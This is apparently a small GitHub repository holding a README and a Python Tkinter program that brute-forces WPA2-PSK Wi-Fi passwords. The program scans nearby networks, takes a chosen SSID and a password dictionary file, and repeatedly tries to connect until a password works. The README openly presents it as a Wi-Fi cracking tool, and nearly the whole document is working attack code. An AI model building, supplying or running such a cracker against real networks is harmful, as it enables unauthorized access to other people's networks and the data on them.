├── python1.png ├── python2.png ├── README.md └── py_wifi.py /python1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0305Chao/python-wifi/HEAD/python1.png -------------------------------------------------------------------------------- /python2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0305Chao/python-wifi/HEAD/python2.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # python-wifi 2 | 不借助其他工具,用python暴力破解wifi,有界面 3 | ![界面](https://github.com/Leno1993/python-wifi/blob/master/python1.png) 4 | -------------------------------------------------------------------------------- /py_wifi.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | from tkinter import * 4 | from tkinter import ttk 5 | import pywifi 6 | from pywifi import const 7 | import time 8 | import tkinter.filedialog 9 | import tkinter.messagebox 10 | 11 | class MY_GUI(): 12 | def __init__(self,init_window_name): 13 | self.init_window_name = init_window_name 14 | 15 | #密码文件路径 16 | self.get_value = StringVar() 17 | 18 | #获取破解wifi账号 19 | self.get_wifi_value = StringVar() 20 | 21 | #获取wifi密码 22 | self.get_wifimm_value = StringVar() 23 | 24 | self.wifi = pywifi.PyWiFi() #抓取网卡接口 25 | self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡 26 | self.iface.disconnect() #测试链接断开所有链接 27 | time.sleep(1) #休眠1秒 28 | #测试网卡是否属于断开状态 29 | assert self.iface.status() in\ 30 | [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 31 | 32 | def __str__(self): 33 | return '(WIFI:%s,%s)' % (self.wifi,self.iface.name()) 34 | 35 | #设置窗口 36 | def set_init_window(self): 37 | self.init_window_name.title("WIFI破解工具") 38 | self.init_window_name.geometry('+500+200') 39 | 40 | labelframe = LabelFrame(width=400, height=200,text="配置") 41 | labelframe.grid(column=0, row=0, padx=10, pady=10) 42 | 43 | self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) 44 | 45 | self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0) 46 | 47 | self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1) 48 | 49 | self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1) 50 | 51 | self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1) 52 | 53 | self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2) 54 | 55 | self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2) 56 | 57 | self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2) 58 | 59 | self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W) 60 | 61 | self.wifi_labelframe = LabelFrame(text="wifi列表") 62 | self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW) 63 | 64 | 65 | # 定义树形结构与滚动条 66 | self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d")) 67 | self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) 68 | self.wifi_tree.configure(yscrollcommand=self.vbar.set) 69 | 70 | # 表格的标题 71 | self.wifi_tree.column("a", width=50, anchor="center") 72 | self.wifi_tree.column("b", width=100, anchor="center") 73 | self.wifi_tree.column("c", width=100, anchor="center") 74 | self.wifi_tree.column("d", width=100, anchor="center") 75 | 76 | self.wifi_tree.heading("a", text="WiFiID") 77 | self.wifi_tree.heading("b", text="SSID") 78 | self.wifi_tree.heading("c", text="BSSID") 79 | self.wifi_tree.heading("d", text="signal") 80 | 81 | self.wifi_tree.grid(row=4,column=0,sticky=NSEW) 82 | self.wifi_tree.bind("",self.onDBClick) 83 | self.vbar.grid(row=4,column=1,sticky=NS) 84 | 85 | #搜索wifi 86 | #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT 87 | def scans_wifi_list(self): # 扫描周围wifi列表 88 | #开始扫描 89 | print("^_^ 开始扫描附近wifi...") 90 | self.iface.scan() 91 | time.sleep(15) 92 | #在若干秒后获取扫描结果 93 | scanres = self.iface.scan_results() 94 | #统计附近被发现的热点数量 95 | nums = len(scanres) 96 | print("数量: %s"%(nums)) 97 | #print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal")) 98 | # 实际数据 99 | self.show_scans_wifi_list(scanres) 100 | return scanres 101 | 102 | #显示wifi列表 103 | def show_scans_wifi_list(self,scans_res): 104 | for index,wifi_info in enumerate(scans_res): 105 | # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal)) 106 | self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) 107 | #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) 108 | 109 | #添加密码文件目录 110 | def add_mm_file(self): 111 | self.filename = tkinter.filedialog.askopenfilename() 112 | self.get_value.set(self.filename) 113 | 114 | #Treeview绑定事件 115 | def onDBClick(self,event): 116 | self.sels= event.widget.selection() 117 | self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) 118 | #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1]) 119 | 120 | #读取密码字典,进行匹配 121 | def readPassWord(self): 122 | self.getFilePath = self.get_value.get() 123 | #print("文件路径:%s\n" %(self.getFilePath)) 124 | self.get_wifissid = self.get_wifi_value.get() 125 | #print("ssid:%s\n" %(self.get_wifissid)) 126 | self.pwdfilehander=open(self.getFilePath,"r",errors="ignore") 127 | while True: 128 | try: 129 | self.pwdStr =self.pwdfilehander.readline() 130 | #print("密码: %s " %(self.pwdStr)) 131 | if not self.pwdStr: 132 | break 133 | self.bool1=self.connect(self.pwdStr,self.get_wifissid) 134 | #print("返回值:%s\n" %(self.bool1) ) 135 | if self.bool1: 136 | # print("密码正确:"+pwdStr 137 | # res = "密码:%s 正确 \n"%self.pwdStr; 138 | self.res = "===正确=== wifi名:%s 匹配密码:%s "%(self.get_wifissid,self.pwdStr) 139 | self.get_wifimm_value.set(self.pwdStr) 140 | tkinter.messagebox.showinfo('提示', '破解成功!!!') 141 | print(self.res) 142 | break 143 | else: 144 | # print("密码:"+self.pwdStr+"错误") 145 | self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr) 146 | print(self.res) 147 | sleep(3) 148 | except: 149 | continue 150 | 151 | #对wifi和密码进行匹配 152 | def connect(self,pwd_Str,wifi_ssid): 153 | #创建wifi链接文件 154 | self.profile = pywifi.Profile() 155 | self.profile.ssid =wifi_ssid #wifi名称 156 | self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放 157 | self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 158 | self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 159 | self.profile.key = pwd_Str #密码 160 | self.iface.remove_all_network_profiles() #删除所有的wifi文件 161 | self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件 162 | self.iface.connect(self.tmp_profile)#链接 163 | time.sleep(5) 164 | if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 165 | isOK=True 166 | else: 167 | isOK=False 168 | self.iface.disconnect() #断开 169 | time.sleep(1) 170 | #检查断开状态 171 | assert self.iface.status() in\ 172 | [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] 173 | return isOK 174 | 175 | def gui_start(): 176 | init_window = Tk() 177 | ui = MY_GUI(init_window) 178 | print(ui) 179 | ui.set_init_window() 180 | #ui.scans_wifi_list() 181 | 182 | init_window.mainloop() 183 | 184 | gui_start() --------------------------------------------------------------------------------